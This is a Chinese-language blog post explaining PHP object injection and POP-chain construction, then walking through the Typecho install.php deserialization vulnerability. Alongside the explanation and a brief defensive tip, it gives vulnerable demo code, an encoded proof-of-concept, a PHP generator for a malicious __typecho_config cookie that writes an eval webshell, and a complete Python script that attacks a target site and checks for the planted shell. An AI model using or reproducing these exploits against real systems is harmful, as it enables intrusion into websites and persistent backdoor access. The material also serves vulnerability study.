通过Typecho install.php 后门理解PHP对象注入
导语:序列化是对象串行化,对象是一种在内存中存储的数据类型,寿命随生成该对象的程序的终止而终止,为了持久使用对象的状态,将其通过serialize()函数进行序列化为一行字符串保存为文件,使用时通过unserialize()反序列化为对象。
刚好在学习PHP反序列化,听说有这么个后门,尝试着分析下,可能有写的不对的地方,还请指教。首先介绍下序列化与反序列化。序列化是对象串行化,对象是一种在内存中存储的数据类型,寿命随生成该对象的程序的终止而终止,为了持久使用对象的状态,将其通过serialize()函数进行序列化为一行字符串保存为文件,使用时通过unserialize()反序列化为对象。反序列化的过程就是重新执行一遍某个指定的程序流程。
PHP序列化后的格式
序列化函数:serialize。
反序列化函数:unserialize。
布尔型
b:value b:0 //false b:1 //true
整数型
i:value i:1 i:-1
字符型
s:length:"value"; s:4:"aaaa";
NULL型
N;
数组
a:<length>:{key, value pairs}; a:1:{i:1;s:1:"a";}
对象
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}; O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}
PHP对象注入漏洞利用条件
反序列化漏洞是典型的对象注入漏洞。通过可控参数传递的值在一个方法中实例化另一个类,并调用类中存在漏洞的代码或者方法,达到利用漏洞的目的。
简单的dome:
<?php class syclover{ var $member; var $filename; function __wakeup(){ $this->save($this->filename,$this->member); } public function save($filename,$data){ file_put_contents($filename,$data); } } unserialize($_GET['a']); ?>
url(生成一个文件):
http://192.168.65.131/serialize/save_file.php?a=O:8:"syclover":2:{s:8:"filename";s:12:"/tmp/syc.php";s:6:"member";s:1:"1"}
利用条件:
1:存在可控输入点;
2:可控的类中存在可自动执行的方法(主要是PHP魔术方法);
3:自动执行的方法中存在漏洞或者调用的方法中存在漏洞。
php对象常见魔术方法
__construct:当对象被创建的时候调用;
__destruct:当对象被销毁的时候调用;
__toString:当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断、字符串拼接也会触发);
__sleep:序列化对象之前就调用此方法(其返回需要是一个数组)
__wakeup:反序列化恢复对象之前就调用此方法
__call:当调用对象中不存在的方法会自动调用此方法
__get():获取私有成员属性值会自动调用此方法,有一个参数传入你要获取的成员属性的名称,返回获取的属性值,被封装的私有属性不能直接获取值,但是如果你在类里面加上__get()方法,在使用“echo $p1->name”这样的语句直接获取值的时候就会自动调用__get($name)方法,将属性name传给参数$name,如果成员属性不封装private,对象本身就不会去自动调用这个方法。
POP链构造
大部分序列化攻击是在魔术方法中出现一些利用的漏洞,因为自动调用从而触发漏洞。 但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。
<?php class lemon { protected $ClassObj; function __construct() { $this->ClassObj = new normal(); } function __destruct() { $this->ClassObj->action(); } } class normal { function action() { echo "hello"; } } class evil { private $data; function action() { eval($this->data); } } unserialize($_GET['d']);
注意的是,protected $ClassObj = new evil();是不行的,还是通过__construct来实例化。 生成poc:
<?php class lemon { protected $ClassObj; function __construct() { $this->ClassObj = new evil(); } } class evil { private $data = "phpinfo();"; } echo urlencode(serialize(new lemon())); echo "nr";
注意的是,protected $ClassObj = new evil();是不行的,还是通过__construct来实例化。 生成poc:
O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
挖掘与防护
审计搜索serialize/unserialize函数。
防护:使用json_encode/json_decode代替serialize/unserialize
Typecho install.php 后门分析
看的时候配合这个bgm口感更佳:
http://music.163.com/m/song?id=472112352&userid=279145998&from=timeline&isappinstalled=1
第一步:入口文件install.php
u typecho-mastertypecho-masterinstall.php
Typecho安装后默认不删除install.php,通过cookie中的__typecho_config字段传入,该参数格式为:php序列化后再base64加密的字符串:
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
紧接着实例化Typecho_Db类
$db = new Typecho_Db($config['adapter'], $config['prefix']);
Typecho_Db类位于typecho-mastertypecho-mastervarTypechoDb.php
$config['adapter']在构造函数里面对应形参$adapterName,
Typecho_Db类实例化时会自动执行__construct方法, 该方法中存在一个字符串拼接的操作:
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
u typecho-mastertypecho-mastervarTypechoFeed.php
当$adapterNam的值为new Typecho_Feed(实例化Typecho_Feed这个类),那么在使用.字符连接, $adapterNam所代表的类就被当成字符串处理, Typecho_Feed类中的__toString魔术方法会自动执行。
该方法中当self::ATOM1 == $this->_type时,if流程进入到如下位置:
其中$_items是个array,可通过addItem()方法传入。
$this->_items as $item之后,会访问一个类属性 $item['author']->screenname,那么$item['author']应该是一个实例化的类, screenname是类的一个属性。
u typecho-mastertypecho-mastervarTypechoRequest.php
Typecho_Request类中存在__get()方法,在直接设置私有属性值的时候会__set()方法为私有属性赋值 ,在直接获取私有属性值的时候,也会调用__get()方法
跟进后定位到get(),发现调用__applyFilter(),$key贯穿始终。
__applyFilter中的call_user_func()参数可控,能构造代码执行漏洞。
传入的value值不能为array,$filter值为eval之类的可执行函数。
如果给$item['author']赋值为new Typecho_Reques,那么$item['author']->screenname就是在访问Typecho_Reques类的私有方法了,这样__get()方法就会被自动执行。
然而Typecho_Reques类中并不存在Screenname属性。但是反序列化漏洞中一个比较有意思的点是,不管服务器端代码类中的方法是否被调用,只要存在,我们就可以在本地构造好需要执行的方法,进行序列化。当代码在服务端进行反序列化操作时,就会根据本地构造的流程进行执行。
那么,如何让将Typecho_Request类传入到$item['author']中楠?这里就需要借助Typecho_Feed类中的addItem()方法了。我们需要先将new Typecho_Request()赋予给一个数组的某个元素,因为addItem()方法处理的是数组,于是形式为:
Typecho_Feed->addItem('author' => new Typecho_Request()) ,
'author' => new Typecho_Request()对应的其实就是$item['author'],
可能看起来不是很直观,结合序列化的payload可以更好的理解这个过程,这里直接贴上大神写的__typecho_config的序列化Payload。
<?php /** * Created by PhpStorm. * User: RaI4over * Date: 2017/10/19 * Time: 15:17 * 生成 _typecho_config 的值 */ class Typecho_Feed { const RSS2 = 'RSS 2.0'; private $_type; private $_charset; private $_lang; private $_items = array(); public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en') { $this->_version = $version; $this->_type = $type; $this->_charset = $charset; $this->_lang = $lang; } public function addItem(array $item) { $this->_items[] = $item; } } class Typecho_Request { private $_params = array('screenName'=>'fputs(fopen('./usr/themes/default/img/c.php','w'),'<?php @eval($_POST[a]);?>')'); private $_filter = array('assert'); //private $_filter = array('assert', array('Typecho_Response', 'redirect')); } $payload1 = new Typecho_Feed(5, 'ATOM 1.0'); $payload2 = new Typecho_Request(); $payload1->addItem(array('author' => $payload2)); $exp['adapter'] = $payload1; $exp['prefix'] = 'Rai4over'; echo base64_encode(serialize($exp));
编写payload:
记得把php添加进环境变量
import requests import os if __name__ == '__main__': print ''' ____ ____ _ _ _ | __ ) _ _ | _ __ _(_) || | _____ _____ _ __ | _ | | | | | |_) / _` | | || |_ / _ / / _ '__| | |_) | |_| | | _ < (_| | |__ _| (_) V / __/ | |____/ __, | |_| ___,_|_| |_| ___/ _/ ___|_| |___/ ''' targert_url = 'http://www.xxxxxxxx.xyz'; rsp = requests.get(targert_url + "/install.php"); if rsp.status_code != 200: exit('The attack failed and the problem file does not exist !!!') else: print 'You are lucky, the problem file exists, immediately attack !!!' proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", } typecho_config = os.popen('php exp.php').read() headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0', 'Cookie': 'antispame=1508415662; antispamkey=cc7dffeba8d48da508df125b5a50edbd; PHPSESSID=po1hggbeslfoglbvurjjt2lcg0; __typecho_lang=zh_CN;__typecho_config={typecho_config};'.format(typecho_config=typecho_config), 'Referer': targert_url} url = targert_url + "/install.php?finish=1" requests.get(url,headers=headers,allow_redirects=False) shell_url = targert_url + '/usr/themes/default/img/c.php' if requests.get(shell_url).status_code == 200: print 'shell_url: ' + shell_url else: print "Getshell Fail!"
Ø 最外层$exp是数组,数组中的'adapter'是Typecho_Feed的实例$payload1,
Ø $payload1的构造参数是'ATOM 1.0'用于控制分支;
Ø $payload2是Typecho_Request的实例;
Ø private $_filter ,private $_params是传给call_user_func的参数,也就是通过assert写shell ;
Ø 然后$payload2通过additem添加到$payload的$_items的变量中 ;
Ø 最后把$payload1添加到最外层的$exp数组中 ;
Ø ps:因为install.php中有ob_start();所以构造好是没有回显的,但是也能写shell;
Ø 后面其他师傅说可以用Typecho_Response类中的redirect方法中的exit()得到回显。
总结:
这个后门跳跃性很大,流程也很复杂,正常的审计很难审出来吧,也不知道大牛们脑袋里面装的都是些啥东西,个人感觉可能是蜜罐捕捉到了吧。
参考:
https://paper.tuisec.win/detail/c1ecf917be22318.jsp
http://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html
注:本文还参考了l3m0n博客内容
发表评论